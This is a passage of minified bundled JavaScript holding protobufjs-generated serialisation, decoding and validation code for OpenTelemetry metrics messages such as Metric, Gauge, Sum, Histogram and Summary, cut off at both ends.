z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.scope!=null&&Object.hasOwnProperty.call(H,"scope"))uA.opentelemetry.proto.common.v1.InstrumentationScope.encode(H.scope,J.uint32(10).fork()).ldelim();if(H.metrics!=null&&H.metrics.length)for(var O=0;O<H.metrics.length;++O)uA.opentelemetry.proto.metrics.v1.Metric.encode(H.metrics[O],J.uint32(18).fork()).ldelim();if(H.schemaUrl!=null&&Object.hasOwnProperty.call(H,"schemaUrl"))J.uint32(26).string(H.schemaUrl);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.metrics.v1.ScopeMetrics;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.scope=uA.opentelemetry.proto.common.v1.InstrumentationScope.decode(H,H.uint32());break}case 2:{if(!($.metrics&&$.metrics.length))$.metrics=[];$.metrics.push(uA.opentelemetry.proto.metrics.v1.Metric.decode(H,H.uint32()));break}case 3:{$.schemaUrl=H.string();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.scope!=null&&H.hasOwnProperty("scope")){var J=uA.opentelemetry.proto.common.v1.InstrumentationScope.verify(H.scope);if(J)return"scope."+J}if(H.metrics!=null&&H.hasOwnProperty("metrics")){if(!Array.isArray(H.metrics))return"metrics: array expected";for(var O=0;O<H.metrics.length;++O){var J=uA.opentelemetry.proto.metrics.v1.Metric.verify(H.metrics[O]);if(J)return"metrics."+J}}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl")){if(!FA.isString(H.schemaUrl))return"schemaUrl: string expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.metrics.v1.ScopeMetrics)return H;var J=new uA.opentelemetry.proto.metrics.v1.ScopeMetrics;if(H.scope!=null){if(typeof H.scope!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.ScopeMetrics.scope: object expected");J.scope=uA.opentelemetry.proto.common.v1.InstrumentationScope.fromObject(H.scope)}if(H.metrics){if(!Array.isArray(H.metrics))throw TypeError(".opentelemetry.proto.metrics.v1.ScopeMetrics.metrics: array expected");J.metrics=[];for(var O=0;O<H.metrics.length;++O){if(typeof H.metrics[O]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.ScopeMetrics.metrics: object expected");J.metrics[O]=uA.opentelemetry.proto.metrics.v1.Metric.fromObject(H.metrics[O])}}if(H.schemaUrl!=null)J.schemaUrl=String(H.schemaUrl);return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.metrics=[];if(J.defaults)O.scope=null,O.schemaUrl="";if(H.scope!=null&&H.hasOwnProperty("scope"))O.scope=uA.opentelemetry.proto.common.v1.InstrumentationScope.toObject(H.scope,J);if(H.metrics&&H.metrics.length){O.metrics=[];for(var X=0;X<H.metrics.length;++X)O.metrics[X]=uA.opentelemetry.proto.metrics.v1.Metric.toObject(H.metrics[X],J)}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl"))O.schemaUrl=H.schemaUrl;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.metrics.v1.ScopeMetrics"},z}(),Y.Metric=function(){function z(H){if(this.metadata=[],H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}z.prototype.name=null,z.prototype.description=null,z.prototype.unit=null,z.prototype.gauge=null,z.prototype.sum=null,z.prototype.histogram=null,z.prototype.exponentialHistogram=null,z.prototype.summary=null,z.prototype.metadata=FA.emptyArray;var w;return Object.defineProperty(z.prototype,"data",{get:FA.oneOfGetter(w=["gauge","sum","histogram","exponentialHistogram","summary"]),set:FA.oneOfSetter(w)}),z.create=function(J){return new z(J)},z.encode=function(J,O){if(!O)O=l5.create();if(J.name!=null&&Object.hasOwnProperty.call(J,"name"))O.uint32(10).string(J.name);if(J.description!=null&&Object.hasOwnProperty.call(J,"description"))O.uint32(18).string(J.description);if(J.unit!=null&&Object.hasOwnProperty.call(J,"unit"))O.uint32(26).string(J.unit);if(J.gauge!=null&&Object.hasOwnProperty.call(J,"gauge"))uA.opentelemetry.proto.metrics.v1.Gauge.encode(J.gauge,O.uint32(42).fork()).ldelim();if(J.sum!=null&&Object.hasOwnProperty.call(J,"sum"))uA.opentelemetry.proto.metrics.v1.Sum.encode(J.sum,O.uint32(58).fork()).ldelim();if(J.histogram!=null&&Object.hasOwnProperty.call(J,"histogram"))uA.opentelemetry.proto.metrics.v1.Histogram.encode(J.histogram,O.uint32(74).fork()).ldelim();if(J.exponentialHistogram!=null&&Object.hasOwnProperty.call(J,"exponentialHistogram"))uA.opentelemetry.proto.metrics.v1.ExponentialHistogram.encode(J.exponentialHistogram,O.uint32(82).fork()).ldelim();if(J.summary!=null&&Object.hasOwnProperty.call(J,"summary"))uA.opentelemetry.proto.metrics.v1.Summary.encode(J.summary,O.uint32(90).fork()).ldelim();if(J.metadata!=null&&J.metadata.length)for(var X=0;X<J.metadata.length;++X)uA.opentelemetry.proto.common.v1.KeyValue.encode(J.metadata[X],O.uint32(98).fork()).ldelim();return O},z.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},z.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.metrics.v1.Metric;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.name=J.string();break}case 2:{_.description=J.string();break}case 3:{_.unit=J.string();break}case 5:{_.gauge=uA.opentelemetry.proto.metrics.v1.Gauge.decode(J,J.uint32());break}case 7:{_.sum=uA.opentelemetry.proto.metrics.v1.Sum.decode(J,J.uint32());break}case 9:{_.histogram=uA.opentelemetry.proto.metrics.v1.Histogram.decode(J,J.uint32());break}case 10:{_.exponentialHistogram=uA.opentelemetry.proto.metrics.v1.ExponentialHistogram.decode(J,J.uint32());break}case 11:{_.summary=uA.opentelemetry.proto.metrics.v1.Summary.decode(J,J.uint32());break}case 12:{if(!(_.metadata&&_.metadata.length))_.metadata=[];_.metadata.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(J,J.uint32()));break}default:J.skipType(G&7);break}}return _},z.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},z.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";var O={};if(J.name!=null&&J.hasOwnProperty("name")){if(!FA.isString(J.name))return"name: string expected"}if(J.description!=null&&J.hasOwnProperty("description")){if(!FA.isString(J.description))return"description: string expected"}if(J.unit!=null&&J.hasOwnProperty("unit")){if(!FA.isString(J.unit))return"unit: string expected"}if(J.gauge!=null&&J.hasOwnProperty("gauge")){O.data=1;{var X=uA.opentelemetry.proto.metrics.v1.Gauge.verify(J.gauge);if(X)return"gauge."+X}}if(J.sum!=null&&J.hasOwnProperty("sum")){if(O.data===1)return"data: multiple values";O.data=1;{var X=uA.opentelemetry.proto.metrics.v1.Sum.verify(J.sum);if(X)return"sum."+X}}if(J.histogram!=null&&J.hasOwnProperty("histogram")){if(O.data===1)return"data: multiple values";O.data=1;{var X=uA.opentelemetry.proto.metrics.v1.Histogram.verify(J.histogram);if(X)return"histogram."+X}}if(J.exponentialHistogram!=null&&J.hasOwnProperty("exponentialHistogram")){if(O.data===1)return"data: multiple values";O.data=1;{var X=uA.opentelemetry.proto.metrics.v1.ExponentialHistogram.verify(J.exponentialHistogram);if(X)return"exponentialHistogram."+X}}if(J.summary!=null&&J.hasOwnProperty("summary")){if(O.data===1)return"data: multiple values";O.data=1;{var X=uA.opentelemetry.proto.metrics.v1.Summary.verify(J.summary);if(X)return"summary."+X}}if(J.metadata!=null&&J.hasOwnProperty("metadata")){if(!Array.isArray(J.metadata))return"metadata: array expected";for(var $=0;$<J.metadata.length;++$){var X=uA.opentelemetry.proto.common.v1.KeyValue.verify(J.metadata[$]);if(X)return"metadata."+X}}return null},z.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.metrics.v1.Metric)return J;var O=new uA.opentelemetry.proto.metrics.v1.Metric;if(J.name!=null)O.name=String(J.name);if(J.description!=null)O.description=String(J.description);if(J.unit!=null)O.unit=String(J.unit);if(J.gauge!=null){if(typeof J.gauge!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Metric.gauge: object expected");O.gauge=uA.opentelemetry.proto.metrics.v1.Gauge.fromObject(J.gauge)}if(J.sum!=null){if(typeof J.sum!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Metric.sum: object expected");O.sum=uA.opentelemetry.proto.metrics.v1.Sum.fromObject(J.sum)}if(J.histogram!=null){if(typeof J.histogram!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Metric.histogram: object expected");O.histogram=uA.opentelemetry.proto.metrics.v1.Histogram.fromObject(J.histogram)}if(J.exponentialHistogram!=null){if(typeof J.exponentialHistogram!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Metric.exponentialHistogram: object expected");O.exponentialHistogram=uA.opentelemetry.proto.metrics.v1.ExponentialHistogram.fromObject(J.exponentialHistogram)}if(J.summary!=null){if(typeof J.summary!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Metric.summary: object expected");O.summary=uA.opentelemetry.proto.metrics.v1.Summary.fromObject(J.summary)}if(J.metadata){if(!Array.isArray(J.metadata))throw TypeError(".opentelemetry.proto.metrics.v1.Metric.metadata: array expected");O.metadata=[];for(var X=0;X<J.metadata.length;++X){if(typeof J.metadata[X]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Metric.metadata: object expected");O.metadata[X]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(J.metadata[X])}}return O},z.toObject=function(J,O){if(!O)O={};var X={};if(O.arrays||O.defaults)X.metadata=[];if(O.defaults)X.name="",X.description="",X.unit="";if(J.name!=null&&J.hasOwnProperty("name"))X.name=J.name;if(J.description!=null&&J.hasOwnProperty("description"))X.description=J.description;if(J.unit!=null&&J.hasOwnProperty("unit"))X.unit=J.unit;if(J.gauge!=null&&J.hasOwnProperty("gauge")){if(X.gauge=uA.opentelemetry.proto.metrics.v1.Gauge.toObject(J.gauge,O),O.oneofs)X.data="gauge"}if(J.sum!=null&&J.hasOwnProperty("sum")){if(X.sum=uA.opentelemetry.proto.metrics.v1.Sum.toObject(J.sum,O),O.oneofs)X.data="sum"}if(J.histogram!=null&&J.hasOwnProperty("histogram")){if(X.histogram=uA.opentelemetry.proto.metrics.v1.Histogram.toObject(J.histogram,O),O.oneofs)X.data="histogram"}if(J.exponentialHistogram!=null&&J.hasOwnProperty("exponentialHistogram")){if(X.exponentialHistogram=uA.opentelemetry.proto.metrics.v1.ExponentialHistogram.toObject(J.exponentialHistogram,O),O.oneofs)X.data="exponentialHistogram"}if(J.summary!=null&&J.hasOwnProperty("summary")){if(X.summary=uA.opentelemetry.proto.metrics.v1.Summary.toObject(J.summary,O),O.oneofs)X.data="summary"}if(J.metadata&&J.metadata.length){X.metadata=[];for(var $=0;$<J.metadata.length;++$)X.metadata[$]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(J.metadata[$],O)}return X},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.metrics.v1.Metric"},z}(),Y.Gauge=function(){function z(w){if(this.dataPoints=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.dataPoints=FA.emptyArray,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.dataPoints!=null&&H.dataPoints.length)for(var O=0;O<H.dataPoints.length;++O)uA.opentelemetry.proto.metrics.v1.NumberDataPoint.encode(H.dataPoints[O],J.uint32(10).fork()).ldelim();return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.metrics.v1.Gauge;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.dataPoints&&$.dataPoints.length))$.dataPoints=[];$.dataPoints.push(uA.opentelemetry.proto.metrics.v1.NumberDataPoint.decode(H,H.uint32()));break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.dataPoints!=null&&H.hasOwnProperty("dataPoints")){if(!Array.isArray(H.dataPoints))return"dataPoints: array expected";for(var J=0;J<H.dataPoints.length;++J){var O=uA.opentelemetry.proto.metrics.v1.NumberDataPoint.verify(H.dataPoints[J]);if(O)return"dataPoints."+O}}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.metrics.v1.Gauge)return H;var J=new uA.opentelemetry.proto.metrics.v1.Gauge;if(H.dataPoints){if(!Array.isArray(H.dataPoints))throw TypeError(".opentelemetry.proto.metrics.v1.Gauge.dataPoints: array expected");J.dataPoints=[];for(var O=0;O<H.dataPoints.length;++O){if(typeof H.dataPoints[O]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Gauge.dataPoints: object expected");J.dataPoints[O]=uA.opentelemetry.proto.metrics.v1.NumberDataPoint.fromObject(H.dataPoints[O])}}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.dataPoints=[];if(H.dataPoints&&H.dataPoints.length){O.dataPoints=[];for(var X=0;X<H.dataPoints.length;++X)O.dataPoints[X]=uA.opentelemetry.proto.metrics.v1.NumberDataPoint.toObject(H.dataPoints[X],J)}return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.metrics.v1.Gauge"},z}(),Y.Sum=function(){function z(w){if(this.dataPoints=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.dataPoints=FA.emptyArray,z.prototype.aggregationTemporality=null,z.prototype.isMonotonic=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.dataPoints!=null&&H.dataPoints.length)for(var O=0;O<H.dataPoints.length;++O)uA.opentelemetry.proto.metrics.v1.NumberDataPoint.encode(H.dataPoints[O],J.uint32(10).fork()).ldelim();if(H.aggregationTemporality!=null&&Object.hasOwnProperty.call(H,"aggregationTemporality"))J.uint32(16).int32(H.aggregationTemporality);if(H.isMonotonic!=null&&Object.hasOwnProperty.call(H,"isMonotonic"))J.uint32(24).bool(H.isMonotonic);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.metrics.v1.Sum;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.dataPoints&&$.dataPoints.length))$.dataPoints=[];$.dataPoints.push(uA.opentelemetry.proto.metrics.v1.NumberDataPoint.decode(H,H.uint32()));break}case 2:{$.aggregationTemporality=H.int32();break}case 3:{$.isMonotonic=H.bool();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.dataPoints!=null&&H.hasOwnProperty("dataPoints")){if(!Array.isArray(H.dataPoints))return"dataPoints: array expected";for(var J=0;J<H.dataPoints.length;++J){var O=uA.opentelemetry.proto.metrics.v1.NumberDataPoint.verify(H.dataPoints[J]);if(O)return"dataPoints."+O}}if(H.aggregationTemporality!=null&&H.hasOwnProperty("aggregationTemporality"))switch(H.aggregationTemporality){default:return"aggregationTemporality: enum value expected";case 0:case 1:case 2:break}if(H.isMonotonic!=null&&H.hasOwnProperty("isMonotonic")){if(typeof H.isMonotonic!=="boolean")return"isMonotonic: boolean expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.metrics.v1.Sum)return H;var J=new uA.opentelemetry.proto.metrics.v1.Sum;if(H.dataPoints){if(!Array.isArray(H.dataPoints))throw TypeError(".opentelemetry.proto.metrics.v1.Sum.dataPoints: array expected");J.dataPoints=[];for(var O=0;O<H.dataPoints.length;++O){if(typeof H.dataPoints[O]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Sum.dataPoints: object expected");J.dataPoints[O]=uA.opentelemetry.proto.metrics.v1.NumberDataPoint.fromObject(H.dataPoints[O])}}switch(H.aggregationTemporality){default:if(typeof H.aggregationTemporality==="number"){J.aggregationTemporality=H.aggregationTemporality;break}break;case"AGGREGATION_TEMPORALITY_UNSPECIFIED":case 0:J.aggregationTemporality=0;break;case"AGGREGATION_TEMPORALITY_DELTA":case 1:J.aggregationTemporality=1;break;case"AGGREGATION_TEMPORALITY_CUMULATIVE":case 2:J.aggregationTemporality=2;break}if(H.isMonotonic!=null)J.isMonotonic=Boolean(H.isMonotonic);return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.dataPoints=[];if(J.defaults)O.aggregationTemporality=J.enums===String?"AGGREGATION_TEMPORALITY_UNSPECIFIED":0,O.isMonotonic=!1;if(H.dataPoints&&H.dataPoints.length){O.dataPoints=[];for(var X=0;X<H.dataPoints.length;++X)O.dataPoints[X]=uA.opentelemetry.proto.metrics.v1.NumberDataPoint.toObject(H.dataPoints[X],J)}if(H.aggregationTemporality!=null&&H.hasOwnProperty("aggregationTemporality"))O.aggregationTemporality=J.enums===String?uA.opentelemetry.proto.metrics.v1.AggregationTemporality[H.aggregationTemporality]===void 0?H.aggregationTemporality:uA.opentelemetry.proto.metrics.v1.AggregationTemporality[H.aggregationTemporality]:H.aggregationTemporality;if(H.isMonotonic!=null&&H.hasOwnProperty("isMonotonic"))O.isMonotonic=H.isMonotonic;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.metrics.v1.Sum"},z}(),Y.Histogram=function(){function z(w){if(this.dataPoints=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.dataPoints=FA.emptyArray,z.prototype.aggregationTemporality=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.dataPoints!=null&&H.dataPoints.length)for(var O=0;O<H.dataPoints.length;++O)uA.opentelemetry.proto.metrics.v1.HistogramDataPoint.encode(H.dataPoints[O],J.uint32(10).fork()).ldelim();if(H.aggregationTemporality!=null&&Object.hasOwnProperty.call(H,"aggregationTemporality"))J.uint32(16).int32(H.aggregationTemporality);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.metrics.v1.Histogram;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.dataPoints&&$.dataPoints.length))$.dataPoints=[];$.dataPoints.push(uA.opentelemetry.proto.metrics.v1.HistogramDataPoint.decode(H,H.uint32()));break}case 2:{$.aggregationTemporality=H.int32();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.dataPoints!=null&&H.hasOwnProperty("dataPoints")){if(!Array.isArray(H.dataPoints))return"dataPoints: array expected";for(var J=0;J<H.dataPoints.length;++J){var O=uA.opentelemetry.proto.metrics.v1.HistogramDataPoint.verify(H.dataPoints[J]);if(O)return"dataPoints."+O}}if(H.aggregationTemporality!=null&&H.hasOwnProperty("aggregationTemporality"))switch(H.aggregationTemporality){default:return"aggregationTemporality: enum value expected";case 0:case 1:case 2:break}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.metrics.v1.Histogram)return H;var J=new uA.opentelemetry.proto.metrics.v1.Histogram;if(H.dataPoints){if(!Array.isArray(H.dataPoints))throw TypeError(".opentelemetry.proto.metrics.v1.Histogram.dataPoints: array expected");J.dataPoints=[];for(var O=0;O<H.dataPoints.length;++O){if(typeof H.dataPoints[O]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Histogram.dataPoints: object expected");J.dataPoints[O]=uA.opentelemetry.proto.metrics.v1.HistogramDataPoint.fromObject(H.dataPoints[O])}}switch(H.aggregationTemporality){default:if(typeof H.aggregationTemporality==="number"){J.aggregationTemporality=H.aggregationTemporality;break}break;case"AGGREGATION_TEMPORALITY_UNSPECIFIED":case 0:J.aggregationTemporality=0;break;case"AGGREGATION_TEMPORALITY_DELTA":case 1:J.aggregationTemporality=1;break;case"AGGREGATION_TEMPORALITY_CUMULATIVE":case 2:J.aggregationTemporality=2;break}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.dataPoints=[];if(J.defaults)O.aggregationTemporality=J.enums===String?"AGGREGATION_TEMPORALITY_UNSPECIFIED":0;if(H.dataPoints&&H.dataPoints.length){O.dataPoints=[];for(var X=0;X<H.dataPoints.length;++X)O.dataPoints[X]=uA.opentelemetry.proto.metrics.v1.HistogramDataPoint.toObject(H.dataPoints[X],J)}if(H.aggregationTemporality!=null&&H.hasOwnProperty("aggregationTemporality"))O.aggregationTemporality=J.enums===String?uA.opentelemetry.proto.metrics.v1.AggregationTemporality[H.aggregationTemporality]===void 0?H.aggregationTemporality:uA.opentelemetry.proto.metrics.v1.AggregationTemporality[H.aggregationTemporality]:H.aggregationTemporality;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.metrics.v1.Histogram"},z}(),Y.ExponentialHistogram=function(){function z(w){if(this.dataPoints=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.dataPoints=FA.emptyArray,z.prototype.aggregationTemporality=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.dataPoints!=null&&H.dataPoints.length)for(var O=0;O<H.dataPoints.length;++O)uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.encode(H.dataPoints[O],J.uint32(10).fork()).ldelim();if(H.aggregationTemporality!=null&&Object.hasOwnProperty.call(H,"aggregationTemporality"))J.uint32(16).int32(H.aggregationTemporality);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.metrics.v1.ExponentialHistogram;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.dataPoints&&$.dataPoints.length))$.dataPoints=[];$.dataPoints.push(uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.decode(H,H.uint32()));break}case 2:{$.aggregationTemporality=H.int32();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.dataPoints!=null&&H.hasOwnProperty("dataPoints")){if(!Array.isArray(H.dataPoints))return"dataPoints: array expected";for(var J=0;J<H.dataPoints.length;++J){var O=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.verify(H.dataPoints[J]);if(O)return"dataPoints."+O}}if(H.aggregationTemporality!=null&&H.hasOwnProperty("aggregationTemporality"))switch(H.aggregationTemporality){default:return"aggregationTemporality: enum value expected";case 0:case 1:case 2:break}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.metrics.v1.ExponentialHistogram)return H;var J=new uA.opentelemetry.proto.metrics.v1.ExponentialHistogram;if(H.dataPoints){if(!Array.isArray(H.dataPoints))throw TypeError(".opentelemetry.proto.metrics.v1.ExponentialHistogram.dataPoints: array expected");J.dataPoints=[];for(var O=0;O<H.dataPoints.length;++O){if(typeof H.dataPoints[O]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.ExponentialHistogram.dataPoints: object expected");J.dataPoints[O]=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.fromObject(H.dataPoints[O])}}switch(H.aggregationTemporality){default:if(typeof H.aggregationTemporality==="number"){J.aggregationTemporality=H.aggregationTemporality;break}break;case"AGGREGATION_TEMPORALITY_UNSPECIFIED":case 0:J.aggregationTemporality=0;break;case"AGGREGATION_TEMPORALITY_DELTA":case 1:J.aggregationTemporality=1;break;case"AGGREGATION_TEMPORALITY_CUMULATIVE":case 2:J.aggregationTemporality=2;break}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.dataPoints=[];if(J.defaults)O.aggregationTemporality=J.enums===String?"AGGREGATION_TEMPORALITY_UNSPECIFIED":0;if(H.dataPoints&&H.dataPoints.length){O.dataPoints=[];for(var X=0;X<H.dataPoints.length;++X)O.dataPoints[X]=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.toObject(H.dataPoints[X],J)}if(H.aggregationTemporality!=null&&H.hasOwnProperty("aggregationTemporality"))O.aggregationTemporality=J.enums===String?uA.opentelemetry.proto.metrics.v1.AggregationTemporality[H.aggregationTemporality]===void 0?H.aggregationTemporality:uA.opentelemetry.proto.metrics.v1.AggregationTemporality[H.aggregationTemporality]:H.aggregationTemporality;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.metrics.v1.ExponentialHistogram"},z}(),Y.Summary=function(){function z(w){if(this.dataPoints=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.dataPoints=FA.emptyArray,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.dataPoints!=null&&H.dataPoints.length)for(var O=0;O<H.dataPoints.length;++O)uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.encode(H.dataPoints[O],J.uint32(10).fork()).ldelim();return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.metrics.v1.Summary;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.dataPoints&&$.dataPoints.length))$.dataPoints=[];$.dataPoints.push(uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.decode(H,H.uint32()));break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.dataPoints!=null&&H.hasOwnProperty("dataPoints")){if(!Array.isArray(H.dataPoints))return"dataPoints: array expected";for(var J=0;J<H.dataPoints.length;++J){var O=uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.verify(H.dataPoints[J]);if(O)return"dataPoints."+O}}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.metrics.v1.Summary)return H;var J=new uA.opentelemetry.proto.metrics.v1.Summary;if(H.dataPoints){if(!Array.isArray(H.dataPoints))throw TypeError(".opentelemetry.proto.metrics.v1.Summary.dataPoints: array expected");J.dataPoints=[];for(var O=0;O<H.dataPoints.length;++O){if(typeof H.dataPoints[O]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Summary.dataPoints: object expected");J.dataPoints[O]=uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.fromObject(H.dataPoints[O])}}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.dataPoints=[];if(H.dataPoints&&H.dataPoints.length){O.dataPoints=[];for(var X=0;X<H.dataPoints.length;++X)O.dataPoints[X]=uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.toObject(H.dataPoints[X],J)}return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.metrics.v1.Summary"},z}(),Y.AggregationTemporality=function(){var z={},w=Object.create(z);return w[z[0]="AGGREGATION_TEMPORALITY_UNSPECIFIED"]=0,w[z[1]="AGGREGATION_TEMPORALITY_DELTA"]=1,w[z[2]="AGGREGATION_TEMPORALITY_CUMULATIVE"]=2,w}(),Y.DataPointFlags=function(){var z={},w=Object.create(z);return w[z[0]="DATA_POINT_FLAGS_DO_NOT_USE"]=0,w[z[1]="DATA_POINT_FLAGS_NO_RECORDED_VALUE_MASK"]=1,w}(),Y.NumberDataPoint=function(){function z(H){if(this.attributes=[],this.exemplars=[],H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}z.prototype.attributes=FA.emptyArray,z.prototype.startTimeUnixNano=null,z.prototype.timeUnixNano=null,z.prototype.asDouble=null,z.prototype.asInt=null,z.prototype.exemplars=FA.emptyArray,z.prototype.flags=null;var w;return 